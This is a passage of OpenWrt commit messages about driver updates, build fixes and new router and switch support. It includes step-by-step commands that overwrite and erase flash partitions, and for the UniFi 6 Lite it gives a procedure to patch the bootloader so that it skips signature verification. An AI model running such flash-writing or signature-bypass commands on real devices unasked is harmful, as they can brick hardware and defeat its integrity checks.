And update the descripton text for the package as in upstream linux commit
eb8504620381 ("thermal: Rephrase the Kconfig text for thermal").
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The cidr_parse6 function parses a string to an ipv6-address.
The cidr struct contains a union called buf for the ipv4 and ipv6
address. Since it is a char pointer and the struct is initialized with
the maximum size (so ipv6 string) it does not make any difference.
However, we should access the buffer using the v6 name, since it could
be confusing otherwise.
Signed-off-by: Nick Hainke <vincent@systemli.org>
This fixes a typo in the previously committed partition map that led to
the extension of the read-only mtd partition "SSD" into the following
partitions.
Fixes: 4e46beb313 ("ipq806x: add support for Ubiquiti UniFi AC HD")
Signed-off-by: Jan Alexander <jan@nalx.net>
All modification made by update_kernel.sh in a fresh clone without
existing toolchains.
Build system: x86_64
Build-tested: ipq806x/R7800, bcm27xx/bcm2711
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Tested-by: Curtis Deptuck <curtdept@me.com> [x86/64]
Since 4ee3cf2b5a profiles with alternative vendor names may appear
multiple times in `tmp/.targetinfo` or `.targetinfo` (for
ImageBuilders).
The `target-metadata.pl` script adds these profiles then twice to
`PROFILE_NAMES` and the ImageBuilder show the profile twice when running
`make info`.
This patch removes duplicate profile IDs and only adds them once to
`.profiles.mk`.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Not everyone will want to bloat their kernel by 24 kiB for such a niche
feature.
Fixes: a1a7f3274e "kernel: enable SRv6 support by
enabling lwtunnel"
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
BCM4908 CFE bootloader requires kernel to be prepended with a custom
header. This simple tool implements support for such headers.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
glibc does not officially support ARC700 so this adds the missing
pieces. I looked at uClibc-ng and a patch by Synopsis for glibc.
ran make toolchain/glibc/refresh to clean up fuzz.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
a46f9a9160e9 mt76: mt7915: add vif check in mt7915_update_vif_beacon()
27ad12352ac9 mt76: mt7615: add vif check in mt7615_update_vif_beacon()
0a449cef024e mt76: mt7915: fix MT_CIPHER_BIP_CMAC_128 setkey
eacd2d493c61 mt76: mt7915: reset token when mac_reset happens
e4b23301e6c9 mt76: mt7615: reset token when mac_reset happens
6e22bbfe0360 mt76: mt7615: convert comma to semicolon
37865118ae2d mt76: mt7915: convert comma to semicolon
742c36b2e527 mt76: mt7915: run mt7915_configure_filter holding mt76 mutex
a515727e8423 mt76: mt7915: add support for flash mode
b6f7b3da5216 mt76: mt7915: fix endianness warning in mt7915_mcu_set_radar_th
062f3f4f06a2 mt76: mt7915: simplify mt7915_mcu_send_message routine
dbba9b993300 mt76: mt7915: drop zero-length packet to avoid Tx hang
36a745d0f71c mt76: Fix queue ID variable types after mcu queue split
a4539760b0b1 mt7915: update the testmode support to the latest upstream patch
64bd6f87e4c2 mt7915: fix crash on failure in pci_set_dma_mask
c202ace409e0 mt76: remove unused variable q
d1b827781f84 mt76: mt7915: add partial add_bss_info command on testmode init
a897a69769f5 mt76: testmode: introduce dbdc support
b44472e99822 mt76: testmode: move mtd part to mt76_dev
45e27e6cdc12 mt76: mt7915: move testmode data from dev to phy
b6673b005770 mt76: mt7615: move testmode data from dev to phy
abdd471e9f2d mt76: mt7915: fix ht mcs in mt7915_mcu_get_rx_rate()
d679b56b9585 mt76: move mac_work in mt76_core module
36cd48ab4454 mt76: move chainmask in mt76_phy
89a6781ed045 mt76: mt7915: force ldpc for bw larger than 20MHz in testmode
3d0834e78005 mt76: testmode: add support to set user-defined spe index
cc05f4679667 mt76: testmode: add attributes for ipg related parameters
77b18b16fe16 mt76: testmode: make tx queued limit adjustable
6365a58573cb mt76: mt7915: split edca update function
e56282bf67f6 mt76: mt7915: add support for ipg in testmode
6fa642903e4e mt76: mt7915: calculate new packet length when tx_time is set in testmode
729ec5daeba5 mt76: mt7915: clean hw queue before starting new testmode tx
981443da5cf7 mt76: testmode: add a new state for continuous tx
4793fc9b3d48 mt76: mt7915: rework set state part in testmode
11a1e86e5946 mt76: mt7915: add support for continuous tx in testmode
364affef82fc mt76: mt7615: mt7915: disable txpower sku when testmode enabled
9fc19db51293 mt76: mt7915: simplify peer's TxBF capability check
6377b7f330be mt76: mt7915: add implicit Tx beamforming support
983091a40633 mt76: mt7915: fix MESH ifdef block
bbb7a9e77751 mt76: mt76u: fix NULL pointer dereference in mt76u_status_worker
a28a8dd2f7de mt76: usb: fix crash on device removal
9c312f2ce2c5 mt76: mt7915: rework mcu API
e6fe82acb111 mt76: mt7915: disable RED support in the WA firmware
25d7429bdc41 mt76: mt7915: fix eeprom parsing for DBDC
7a93026dd3dc mt76: mt7915: fix eeprom DBDC band selection
4c8a09cc45d0 tools: Set mode for new file /tmp/mt76-test-%s
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The key_mgmt variable was mistyped when checking against "WPS", so
the if clause was never entered.
Fixes: f5753aae23 ("hostapd: add support for WPS pushbutton station")
Signed-off-by: Leon M. George <leon@georgemail.eu>
[add commit message, bump PKG_RELEASE]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
'base' was never used.
Fixes: 498d84fc4e ("netifd: add wireless configuration support
and port mac80211 to the new framework")
Signed-off-by: Leon M. George <leon@georgemail.eu>
'enc_str' was never used.
Fixes: 498d84fc4e ("netifd: add wireless configuration support
and port mac80211 to the new framework")
Signed-off-by: Leon M. George <leon@georgemail.eu>
Granting capabilities CAP_NET_ADMIN and CAP_NET_RAW allows running
hostapd and wpa_supplicant without root priviledges.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This allows configuration of multicast_to_unicast and per_sta_vif options.
- multicast_to_unicast requests multicast-to-unicast conversion.
- per_sta_vif assigns each station its own AP_VLAN interface.
Signed-off-by: Etan Kissling <etan_kissling@apple.com>
This adds a config option to allow compiling with HKDF algorithm support
to support applications that require this feature.
Signed-off-by: Etan Kissling <etan_kissling@apple.com>
This allows libnetfilter_queue to access connection tracking information
by requesting NFQA_CFG_F_CONNTRACK. Connection tracking information is
provided in the NFQA_CT attribute.
CONFIG_NETFILTER_NETLINK_GLUE_CT enables the interaction between
nf_queue and nf_conntrack_netlink. Without this option, trying to access
connection tracking information results in "Operation not supported".
Signed-off-by: Etan Kissling <etan_kissling@apple.com>
The current master only supports kernel 5.4, and there is no reason
to remove KERNEL_IO_URING for future kernels.
Drop the unneeded dependency.
Signed-off-by: Andy Walsh <andy.walsh44+github@gmail.com>
[improve commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
It looks like GitHub changed the URL path for release tarballs, thus the
download for the zstd package was always falling back to the OpenWrt
sources mirror.
Fix the GitHub URL for one which works. The file hash remains unchanged.
Signed-off-by: David Bauer <mail@david-bauer.net>
Both devices use u-boot env variables to boot OpenWrt from its flash
partition. Using u-boot envtools, it is possible to change the bootcmd
back to the stock firmware partition directly from OpenWrt without
attaching a serial cable or even physically accessing the device.
Signed-off-by: Jan Alexander <jan@nalx.net>
Hardware
--------
SoC: Qualcomm IPQ8064
RAM: 512MB DDR3
Flash: 256MB NAND (Micron MT29F2G08ABBEAH4)
32MB SPI-NOR (Macronix MX25U25635F)
WLAN: Qualcomm Atheros QCA9994 4T4R b/g/n
Qualcomm Atheros QCA9994 4T4R a/n/ac
ETH: eth0 - SECONDARY (Atheros AR8033)
eth1 - MAIN (Atheros AR8033)
USB: USB-C
LED: Dome (white / blue)
BTN: Reset
Installation
------------
Copy the OpenWrt sysupgrade image to the /tmp directory of the device
using scp. Default IP address is 192.168.1.20 and default username and
password are "ubnt".
SSH to the device and write the bootselect flag to ensure it is booting
from the mtd partition the OpenWrt image will be written to. Verify the
output device below matches mtd partition "bootselect" using /proc/mtd.
> dd if=/dev/zero bs=1 count=1 seek=7 conv=notrunc of=/dev/mtd11
Write the OpenWrt sysupgrade image to the mtd partition labeled
"kernel0". Also verify the used partition device using /proc/mtd.
> dd if=/tmp/sysupgrade.bin of=/dev/mtdblock12
Reboot the device.
Back to stock
-------------
Use the TFTP recovery procedure with the Ubiquiti firmware image to
restore the vendor firmware.
Signed-off-by: Jan Alexander <jan@nalx.net>
Update the U-Boot to version v2021.01.
Run-tested: FriendlyARM NanoPi R2S
Radxa Rock Pi 4
Pine64 RockPro64
Signed-off-by: Marty Jones <mj8263788@gmail.com>
[format commit message]
Signed-off-by: David Bauer <mail@david-bauer.net>
Currently PHY information obtained from "iw phy" lacks information about
a PHYs HE capabilities when using the by default installed iw-tiny.
As there are already 802.11ax supported devices, enabled printing this
information for the by-default installed iw variant.
Signed-off-by: David Bauer <mail@david-bauer.net>
BCM4906, BCM4908 and BCM49408 are SoCs with 64 bit ARMv8 B53 CPUs.
Upstream Linux is slowly getting support for that SoCs family so it
makes sense to add target for it.
This prepares initial support for:
1. Asus GT-AC5300
BCM4908 based device (4 CPUs) with 1024 MiB RAM, NAND, 8 LAN ports.
2. Netgear R8000P
BCM4906 based device (2 CPUs) with 512 MiB RAM, NAND, 4 LAN ports.
Flashing info will come later as we learn how to generate proper images.
It isn't usable yet (it only produces a bootable kernel) so "source-only"
is used.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Enable the ability to use segment routing based on IPv6. It allows the
packet to specify a path that the packet should take through the
network.
Lwtunnel allow an easy encapsulation of a package. You can just install
ip-full package and use it:
ip -6 route add 2003::/64 dev eth0 encap seg6 mode encap \
segs 2001::1,2002::2
An IPv6 package looks like this:
[IPv6 HDR][IPv6 RH][IPv6 HDR][Data...]
Netifd support:
https://git.openwrt.org/?p=project/netifd.git;
a=commit;h=458b1a7e9473c150a40cae5d8be174f4bb03bd39
Increases imagesize by 24.125 KiB. Therefore, only enable for devices
with enough flash.
Signed-off-by: Nick Hainke <vincent@systemli.org>
Previously, ccache would end up using the system libzstd, which is not
supposed to be a build requirement.
Signed-off-by: Thomas Nixon <tom@tomn.co.uk>
When compiling with CONFIG_ALL_KMODS enabled, compilation might stall
due to unset rockchip-specific config symbols. Disable these to avoid
stalling this step.
Signed-off-by: David Bauer <mail@david-bauer.net>
Instead of using an ancient qemu version in-tree the building machine
should just have qemu-utils installed.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Currently `qemu-img` is used to convert raw x86 images to VDI and VMDK
images, used for virtual machines.
Having `qemu-img` in tree requires us to maintain an ancient version of
`qemu-utils`, which recently required extra work to compile with newer
compiler version.
This commit prints a warning message in case `qemu-img` is missing.
As a next step the in-tree version of `qemu-img` can be removed.
Signed-off-by: Paul Spooren <mail@aparcar.org>
To simplify the way netifd acquires the PIDs of wpa_supplicant and
hostapd let the config_add method of both of them return the PID of the
called process. Use the returned PID instead of querying procd when
adding wpa_supplicant configuration.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Linux 5.9 introduces support for ZSTD ramdisk and initrd compression,
make sure we enable/disable the relevant options when building an
initramfs enabled kernel.
Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
When we use an external kernel tree which may not have been fully
cleaned, there may be user_headers left which do not match the target
architecture, leading to build failures for packages that do an explicit
inclusion of user_headers (such as iproute2 or iptables). Make sure we
delete them while preparing the directory.
Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
The ZyXEL GS1900-8HP is an 8 port gigabit switch with PoE+ support.
There are two versions on the market (v1 & v2) which share similar
specs (same flash size and flash layout, same RAM size, same PoE+ power
envelope) but have a different case and board layout that they each
share with other GS1900 siblings.
The v1 seems to share its PCB and case with non-PoE GS1900-8; as such,
adding support for the GS1900-8 would probably be trivial. The v2 seems
to share its casing and platform with its already supported bigger
brother, the GS1900-10HP - its board looks the same, except for two
holes where the GS1900-10 has its SFP ports.
Like their 10 port sibling, both devices have a dual firmware layout.
Both GS1900-8HP boards have the same 70W PoE+ power budget. In order to
manipulate the PoE+, one needs the rtl83xx-poe package [1].
After careful consideration it was decided to go with separate images
for each version.
Specifications (v1)
-------------------
* SoC: Realtek RTL8380M 500 MHz MIPS 4KEc
* Flash: Macronix MX25L12835F 16 MiB
* RAM: Nanya NT5TU128M8HE-AC 128 MiB DDR2 SDRAM
* Ethernet: 8x 10/100/1000 Mbit
* PoE+: Broadcom BCM59111KMLG (IEEE 802.3at-2009 compliant, 2x)
* UART: 1 serial header with populated standard pin connector on the
left side of the PCB, towards the bottom. Pins are labeled:
+ VCC (3.3V)
+ TX
+ RX
+ GND
Specifications (v2)
-------------------
* SoC: Realtek RTL8380M 500 MHz MIPS 4KEc
* Flash: Macronix MX25L12835F 16 MiB
* RAM: Samsung K4B1G0846G 128 MiB DDR3 SDRAM
* Ethernet: 8x 10/100/1000 Mbit
* PoE+: Broadcom BCM59121B0KMLG (IEEE 802.3at-2009 compliant)
* UART: 1 angled serial header with populated standard pin connector
accessible from outside through the ventilation slits on the
side. Pins from top to bottom are clearly marked on the PCB:
+ VCC (3.3V)
+ TX
+ RX
+ GND
Serial connection parameters for both devices: 115200 8N1.
Installation
------------
Instructions are identical to those for the GS1900-10HP and apply both
to the GS1900-8HP v1 and v2 as well.
* Configure your client with a static 192.168.1.x IP (e.g. 192.168.1.10).
* Set up a TFTP server on your client and make it serve the initramfs
image.
* Connect serial, power up the switch, interrupt U-boot by hitting the
space bar, and enable the network:
> rtk network on
* Since the GS1900-10HP is a dual-partition device, you want to keep the
OEM firmware on the backup partition for the time being. OpenWrt can
only boot off the first partition anyway (hardcoded in the DTS). To
make sure we are manipulating the first partition, issue the following
commands:
> setsys bootpartition 0
> savesys
* Download the image onto the device and boot from it:
> tftpboot 0x84f00000 192.168.1.10:openwrt-realtek-generic-zyxel_gs1900-8hp-v{1,2}-initramfs-kernel.bin
> bootm
* Once OpenWrt has booted, scp the sysupgrade image to /tmp and flash it:
> sysupgrade /tmp//tmp/openwrt-realtek-generic-zyxel_gs1900-8hp-v{1,2}-squashfs-sysupgrade.bin
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
[merge PoE case, keep device definitions separate, change all those
hashes in the commit message to something else so they don't get
removed when changing the commit ...]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The ZyXEL GS1900-8HP v1, v2 and GS1900-10HP are all built on a similar
Realtek RTL8380M platform. Create a common DTSI in preparation for
GS1900-8HP support, and switch to the macros defined in rtl838x.dtsi.
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
[drop redundant includes, use &mdio directly, do not replace SFP
ports]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds kernel module for Silicon Labs CP2112 HID USB to SMBus
Master Bridge. This is a HID device driver which registers as an i2c
adapter and gpiochip to expose these functions of the CP2112.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Remove trailing whitespaces in two *.mk files.
Signed-off-by: Leon M. George <leon@georgemail.eu>
[fix title, add message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ZyXEL spells its own name all uppercase with just the Y lowercase. Adapt
the realtek target to follow this (other OpenWrt targets already do so).
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
Move the memory out of the rtl838x.dtsi and into the device family DTSI
or device DTS if applicable. This aligns with upstream practice.
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
[add missing block for dgs-1210-10p, move block below chosen node]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The identifier is already present in rtl838x.dtsi, and adding it
twice is not only redundant but actually wrong.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
While the speed improvement might be negligible, there is still no
reason to read individual bytes.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
For:
- ENH202 v1
- ENS202EXT v1
These boards were committed before it was discovered
that for all Engenius boards with a "failsafe" image,
forcing the failsafe image to load next boot
can be achieved by editing the u-boot environment like:
`fw_setenv rootfs_checksum 0`
So it's not necessary to delete a partition to boot to failsafe image.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
This moves some of the Engenius boards from generic to tiny:
- EAP350 v1
- ECB350 v1
- ENH202 v1
For these, factory.bin builds are already failing on master
branch because of the unique situation for these boards:
- 8 MB flash
- an extra "failsafe" image for recovery
- TFTP does not work (barely possible with 600 MTU)
- bootloader loads image from a longer flash offset
- 1 eraseblock each needed for OKLI kernel loader and fake rootfs
- using mtd-concat to make use of remaining space...
The manual alternative would be removing the failsafe partition.
However this comes with the risk of extremely difficult recovery
if a flash ever fails because TFTP on the bootloader is bugged.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
[improve commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
imx6 has it's own pcie host driver so we do
not need the one from DW.
This fixes following boot error:
[ 0.156913] dw-pcie 1ffc000.pcie: IRQ index 1 not found
Fixes: 6d5291ff72 ("imx6: add support for kernel 5.4")
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
2 regulator descriptions carry identical naming.
This leads to following boot warning:
[ 0.173138] debugfs: Directory 'vdd1p8' with parent 'regulator' already present!
Fix this by renaming the one used for audio.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
cmake is a dependency of ccache, which means it is build before ccache
is available and hence must be build with non-ccache CC and CXX. It
currently works, because the cmake build system splits the compiler
variable and treats them as multiple compilers to check.
For "ccache gcc" it first tests for "ccache", which always fails,
because ccache is not a compiler by itself, even if it is available, and
then ends up calling "gcc" alone, effectively never using ccache.
Let's make this explicit by forcing the use of non-ccache CC and CXX.
Signed-off-by: Sven Wegener <sven.wegener@stealer.net>
For glibc, lua needs an explicit link to libdl as glibc has it separate
Fixes the following error in at least collectd:
ld: usr/lib/liblua.so: undefined reference to `dlopen'
ld: usr/lib/liblua.so: undefined reference to `dlclose'
ld: usr/lib/liblua.so: undefined reference to `dlerror'
ld: usr/lib/liblua.so: undefined reference to `dlsym'
Signed-off-by: Rosen Penev <rosenp@gmail.com>
This keeps the configuration, like the size of the cache, and the
statistics intact. Move the removal of the cache directory to the
distclean target, but only delete the .ccache directory inside of our
build tree, as we should not mess with a user-configured external ccache
directory this destructively.
Signed-off-by: Sven Wegener <sven.wegener@stealer.net>
fd017ba iwinfo: add ht and vht operation info to wifi scan
4c66b31 iwinfo: export center channel for info ubus call
e28d4a5 iwinfo: add support for 802.11ad and GCMP
5c15f57 iwinfo: return hwmode 'ad' on 802.11ad-only hardware
ea7f471 iwinfo: include ht_operation data only if available
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
- Encode ABI version in compiled shared object file
- Only ship versioned shared library
a17f561 iwinfo: detect QCA IPQ4019 WiSoC from FDT
ea28dfb iwinfo: export ht and vht operation in scan results
4e22953 iwinfo: export center_chan info for local wifi
74d13fb cli: account for additional digit for frequencies above 10GHz
8bfd8d8 iwinfo: add support for GCMP cipher
618c1e8 iwinfo: add hardware description for QCA MIPS WiSoCs
0702f32 iwinfo: improve center channel handling
51c1336 iwinfo: set center chan unsupported for not-nl80211 driver
23d2722 build: add ability to specify shared object version
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The recent 7f285d "scripts/feeds: warn when skipping core package
override" floods SDK output with warning of overwriting "linux" and
"toolchain" core packages. This should be ignored as these are not
regular packages added via feeds.
While at it slightly improve the warning string.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Strictly, an SPDX identifier requires a space between the comment
marker and the identifier itself. This has been addressed in
b69c21738e ("treewide: add space before SPDX identifier"), but
some new malformatted identifiers were merged recently.
This could have been prevented by using checkpatch.pl earlier.
Fixes: 1a775a4fd0 ("ipq806x: add support for TP-Link Talon AD7200")
Fixes: 8ddaeaf642 ("ipq806x: create DTSI for TP-Link AD7200 and C2600")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The TP-Link AD7200 appears with and without the "Talon" model name
prefix. Let's use both variants for 'make menuconfig' so everybody
can locate the device.
Concerning the revision, the TP-Link page lists v1 and v2 with the
device currently marked as "End of Life". However, the v2 and latest
v1 firmware are byte-identical. Thus, we only need one image for
this device and do not need to include the revision in the image name.
While at it, remove the useless BOARD_NAME variable which only makes
sense in combination with upgrade from legacy stable versions or when
custom upgrade scripts are involved.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Both devices share most of their setup except buttons and LEDs,
so having a common DTSI removes a lot of duplicate code.
In order to have a shared partitioning scheme, device-id and
product-info from AD7200 have been merged into a single
product-info partition like for C2600.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This does several cosmetic adjustments for AD7200's DTS:
- Make node name, DT label and label property consistent
- Drop wrong and unused spi4 label
- Use generic flash@0 node name
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit f1620630e9.
This update introduces potentially remote exploitable buffer overreads
in IE parsing logic.
It also breaks the ABI without introdcing SOVERSION library versioning.
Furthermore, HT information is incorrectly added for non-HT BSSes.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This reverts commit 190e793963.
This update introduces a potential null-pointer deref with subsequent rpcd
crash when querying wireless info for non-nl80211 wdevs.
Additionally it wrongly includes ht frequency information for non-ht BSSes.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
The MT7915 radio currently advertises 2.4GHz channels while the antenna
path only supports 5 GHz. Limit the radio to 5GHz channels to prevent
users from configuring non-supported channels.
Signed-off-by: David Bauer <mail@david-bauer.net>
fd017ba iwinfo: add ht and vht operation info to wifi scan
4c66b31 iwinfo: export center channel for info ubus call
e28d4a5 iwinfo: add support for 802.11ad and GCMP
5c15f57 iwinfo: return hwmode 'ad' on 802.11ad-only hardware
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
a17f561 iwinfo: detect QCA IPQ4019 WiSoC from FDT
ea28dfb iwinfo: export ht and vht operation in scan results
4e22953 iwinfo: export center_chan info for local wifi
74d13fb cli: account for additional digit for frequencies above 10GHz
8bfd8d8 iwinfo: add support for GCMP cipher
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This fixes the build problems for the REALTEK target by adding a proper
configuration option for the phy module.
Signed-off-by: Birger Koblitz <mail@birger-koblitz.de>
use PKG_FIXUP:=autoreconf to generate configure
200-hide-dlsym-error.patch deleted due to fixed upstream in another way
other patches refreshed to reflect latest changes
Signed-off-by: Syrone Wong <wong.syrone@gmail.com>
While the underscore in the name of the USB LEDs was removed from DTS,
/etc/board.d/01_leds also has to reflect that change.
Fixes: 28fd279e5d ("ipq806x: some corrections for TP-Link Talon AD7200")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Hardware
--------
MediaTek MT7621AT
256M DDR3
32M SPI-NOR
MediaTek MT7603 2T2R 802.11n 2.4GHz
MediaTek MT7915 2T2R 802.11ax 5GHz
Not Working
-----------
- Bluetooth (connected to UART3)
UART
----
UART is located in the lower left corner of the board. Pinout is
0 - 3V3 (don't connect)
1 - RX
2 - TX
3 - GND
Console is 115200 8N1.
Boot
----
1. Connect to the serial console and connect power.
2. Double-press ESC when prompted
3. Set the fdt address
$ fdt addr $(fdtcontroladdr)
4. Remove the signature node from the control FDT
$ fdt rm /signature
5. Transfer and boot the OpenWrt initramfs image to the device.
Make sure to name the file C0A80114.img and have it reachable at
192.168.1.1/24
$ tftpboot; bootm
Installation
------------
1. Connect to the booted device at 192.168.1.20 using username/password
"ubnt".
2. Update the bootloader environment.
$ fw_setenv devmode TRUE
$ fw_setenv boot_openwrt "fdt addr \$(fdtcontroladdr);
fdt rm /signature; bootubnt"
$ fw_setenv bootcmd "run boot_openwrt"
3. Transfer the OpenWrt sysupgrade image to the device using SCP.
4. Check the mtd partition number for bs / kernel0 / kernel1
$ cat /proc/mtd
5. Set the bootselect flag to boot from kernel0
$ dd if=/dev/zero bs=1 count=1 of=/dev/mtdblock4
6. Write the OpenWrt sysupgrade image to both kernel0 as well as kernel1
$ dd if=openwrt.bin of=/dev/mtdblock6
$ dd if=openwrt.bin of=/dev/mtdblock7
7. Reboot the device. It should boot into OpenWrt.
Below are the original installation instructions prior to the discovery
of "devmode=TRUE". They are not required for installation and are
documentation only.
The bootloader employs signature verification on the FIT image
configurations. This way, booting unauthorized image without patching
the bootloader is not possible. Manually configuring the bootcmd in the
U-Boot envronment won't work, as this is restored to the default value
if modified.
The bootloader is made up of three different parts.
1. The SPL performing early board initialization and providing a XModem
recovery in case the PBL is missing
2. The PBL being the primary U-Boot application and containing the
control FDT. It is LZMA packed with a uImage header.
3. A Ubiquiti standalone U-Boot application providing the main boot
routine as well as their recovery mechanism.
In a perfect world, we would only replace the PBL, as the SPL does not
perform checks on the PBLs integrity. However, as the PBL is in the same
eraseblock as the SPL, we need to at least rewrite both.
The bootloader will only verify integrity in case it has a "signature"
node in it's control device-tree. Renaming the signature node to
something else will prevent this from happening.
Warning: These instructions are based on the firmware intially
shipped with the device and potentially brick your device in a way it
can only be recovered using a SPI flasher.
Only (!) proceed if you understand this!
1. Extract the bootloader from the U-Boot partition using the OpenWrt
initramfs image.
2. Split the bootloader into it's 3 components:
$ dd if=bootloader.bin of=spl.bin bs=1 skip=0 count=45056
$ dd if=bootloader.bin of=pbl.uimage bs=1 skip=45056 count=143360
$ dd if=bootloader.bin of=ubnt.uimage bs=1 skip=188416
3. Strip the uImage header from the PBL
$ dd if=pbl.uimage of=pbl.lzma bs=64 skip=1
4. Decompress the PBL
$ lzma -d pbl.lzma --single-stream
The decompressed PBL sha256sum should be
d8b406c65240d260cf15be5f97f40c1d6d1b6e61ec3abed37bb841c90fcc1235
5. Open the decompressed PBL using your favorite hexeditor. Locate the
control FDT at offset 0x4CED0 (0xD00DFEED). At offset 0x4D5BC, the
label for the signature node is located. Rename the "signature"
string at this offset to "signaturr".
The patched PBL sha256sum should be
d028e374cdb40ba44b6e3cef2e4e8a8c16a3b85eb15d9544d24fdd10eed64c97
6. Compress the patched PBL
$ lzma -z pbl --lzma1=dict=67108864
The resulting pbl.lzma file should have the sha256sum
7ae6118928fa0d0b3fe4ff81abd80ecfd9ba2944cb0f0a462b6ae65913088b42
7. Create the PBL uimage
$ SOURCE_DATE_EPOCH=1607909492 mkimage -A mips -O u-boot -C lzma
-n "U-Boot 2018.03 [UniFi,v1.1.40.71]" -a 84000000 -e 84000000
-T firmware -d pbl.lzma patched_pbl.uimage
The resulting patched_pbl.uimage should have the sha256sum
b90d7fa2dcc6814180d3943530d8d6b0d6a03636113c94e99af34f196d3cf2ce
8. Reassemble the complete bootloader
$ dd if=patched_pbl.uimage of=aligned_pbl.uimage bs=143360 count=1
conv=sync
$ cat spl.bin > patched_uboot.bin
$ cat aligned_pbl.uimage >> patched_uboot.bin
$ cat ubnt.uimage >> patched_uboot.bin
The resulting patched_uboot.bin should have the sha256sum
3e1186f33b88a525687285c2a8b22e8786787b31d4648b8eee66c672222aa76b
9. Transfer your patched bootloader to the device. Also install the
kmod-mtd-rw package using opkg and load it.
$ insmod mtd-rw.ko i_want_a_brick=1
Write the patched bootloader to mtd0
$ mtd write patched_uboot.bin u-boot
10. Erase the kernel1 partition, as the bootloader might otherwise
decide to boot from there.
$ mtd erase kernel1
11. Transfer the OpenWrt sysupgrade image to the device and install
using sysupgrade.
FIT configurations
------------------
In the future, the MT7621 UniFi6 family can be supported by a single
OpenWrt image.
config@1: U6 Lite
config@2: U6 IW
config@3: U6 Mesh
config@4: U6 Extender
config@5: U6 LR-EA (Early Access - GA is MT7622)
Signed-off-by: David Bauer <mail@david-bauer.net>
Address most comments made by Adrian Schmutzler on the mailing list.
The device name is kept as 'TP-Link Talon AD7200' as that seems to be
the marketing name TP-Link chose for that device, it also matches the
naming scheme for other TP-Link devices (e.g. 'TP-Link Archer C7').
Fixes: 1a775a4fd0 ("ipq806x: add support for TP-Link Talon AD7200")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
clang's gcc emulation does the right thing with -print-file-name now,
drop the wrapper
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Device hardware: https://deviwiki.com/wiki/TP-LINK_AD7200_(Talon)
The Talon AD7200 is basically an Archer C2600 with a third PCIe lane
and an 802.11ad radio. It looks like the Archers C2600/5400 but the
housing is slightly larger.
Specifications
--------------
- IPQ8064 dual-core 1400MHz
- QCA9988 2.4GHz WiFi
- QCA9990 5GHz WiFi
- QCA9500 60GHz WiFi
- 32MB SPI Flash
- 512MiB RAM
- 5 GBit Ports (QCA8337)
Installation
------------
Installation is possible from the OEM web interface.
Sysupgrade is possible.
TFTP recovery is possible.
- Image: AD7200_1.0_tp_recovery.bin
Notes
- This will be the first 802.11ad device supported by mainline.
Signed-off-by: Gary Cooper <gaco@bitmessage.de>
This patch adds wil6210 driver for Wilocity/QCA based 802.11ad
PCI cards.
Driver uses cfg80211 and nl80211 but not mac80211.
Integration for UCI and LuCI will come in other patches.
Signed-off-by: Robert Marko <robimarko@gmail.com>
This patch adds wil6210 firmware and board files.
Firmware version is not up to date but is only freely redistributable one I found.
Board file is a generic one so most devices and especially those for long distance
PtP links will require so in a ipq-wifi like way.
Signed-off-by: Robert Marko <robimarko@gmail.com>
This patch enables hostapd.sh to properly configure wpa_supplicant
for when GCMP is used as cipher in station mode.
Without this wpa_supplicant will be unable to connect to AP.
This is needed for wil6210 as it does not support CCMP.
Signed-off-by: Robert Marko <robimarko@gmail.com>
The usual OpenWrt-way of writing the JFFS2-marker in order to have
a filesystem erased at the next boot fails on UBIFS volumes due to
UBI being a different beast when it comes to writing.
As truncating a UBIFS volume only takes a few milliseconds and has the
desired effect of wiping-out all content of that volume, just do that
instead.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
`which` utility is not shipped by default for example on recent Arch
Linux and then any steps relying on its presence fails, like for example
following Python3 prereq build check:
$ python3 --version
Python 3.9.1
$ make
/bin/sh: line 1: which: command not found
